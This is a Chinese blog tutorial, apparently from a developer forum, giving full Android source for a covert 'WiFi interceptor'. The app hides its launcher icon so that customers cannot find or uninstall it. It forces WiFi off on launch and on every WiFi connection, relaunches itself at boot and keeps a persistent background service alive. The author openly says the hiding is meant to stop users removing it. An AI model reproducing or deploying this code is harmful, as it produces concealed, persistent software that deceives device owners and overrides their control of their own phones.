手机WIFI拦截器简单实现

最近,经理给了一个需求,让写一个WIFI拦截器,一开始我也是毫无头绪,不过还是几个小时就搞定了,其实也并没有什么,就是一个简单的广播和服务,上代码:

1、先看一下目录结构:


2、首先你要把你的APP得启动图标给隐藏,因为如果客户看见你的app图标有可能给你卸载掉,这样你的app毫无意义,所以不能让他看见(嘿嘿,有点恶心是不),隐藏图标的方法是:

 <activity
            android:name=".MainActivity"
            android:label="@string/app_name">
            <intent-filter>
                <data
                    android:host="MainActivity"
                    android:scheme="com.example.android.myapplication" />
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
host指的是你的入口Activity,scheme值得是项目的包名,这样你启动的时候就不会有启动图标了,不懂Android的人很难知道这是怎么回事。

3、MainActivity的代码:

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        requestWindowFeature(Window.FEATURE_NO_TITLE);
        /**
         * 判断wifi的网络状态,如果开启时则关闭
         */
        WifiManager wifiManager = (WifiManager) getSystemService(WIFI_SERVICE);
        if (wifiManager.isWifiEnabled()) {
            wifiManager.setWifiEnabled(false);
        }
        startService(new Intent(MainActivity.this, MyService.class));
        finish();
    }
}
在进入Activity的时候第一件事就是要判断wifi是都正在连接,如果是就关闭,另外我们还要开启一个常驻性服务,然后把程序干掉,这样表面上看来没什么,但是程序在后台还是在正常运行,如果有需要的朋友,还可以吧Service的优先级提高,防止Android强制回收掉。

4、注册开机启动广播,这没啥可讲的,大家一看就知道这是什么:

public class BootUpReceiver extends BroadcastReceiver {
    static final String action_boot = "android.intent.action.BOOT_COMPLETED";

    @Override
    public void onReceive(Context context, Intent intent) {
        Intent intent1 = new Intent(context, MainActivity.class);
        intent1.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        context.startActivity(intent1);
    }

}
注册广播:

<receiver android:name=".BootUpReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>

5、网络监听广播:这也没啥可将的,只要就是实时监听网络的变化,如果是WIFI连接,直接强制关闭:

public class NetworkStateReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String action = intent.getAction();
        if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {
            NetworkInfo ni = intent.getParcelableExtra(ConnectivityManager.EXTRA_NETWORK_INFO);
            if (ni.getState() == NetworkInfo.State.CONNECTED && ni.getType() == ConnectivityManager.TYPE_WIFI) {
                /**
                 * 判断wifi的网络状态,开启时则关闭
                 */
                WifiManager wifiManager = (WifiManager) context.getSystemService(context.WIFI_SERVICE);
                if (wifiManager.isWifiEnabled()) {
                    wifiManager.setWifiEnabled(false);
                }
            }
        }
    }
}

6、最后就是程序所需要的一些权限了:

<!--监听WIFI状态-->
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <!--开启自启动-->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <!--监听网络变化-->
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
其实Demo很简单,但是非常好玩,大家有需要的可以看一下,我提供一个下载源代码的地址:

点击打开链接


我用的是Studio开发的,使用Eclipse的朋友可自行Copy代码。


  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Anonymous-OS

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值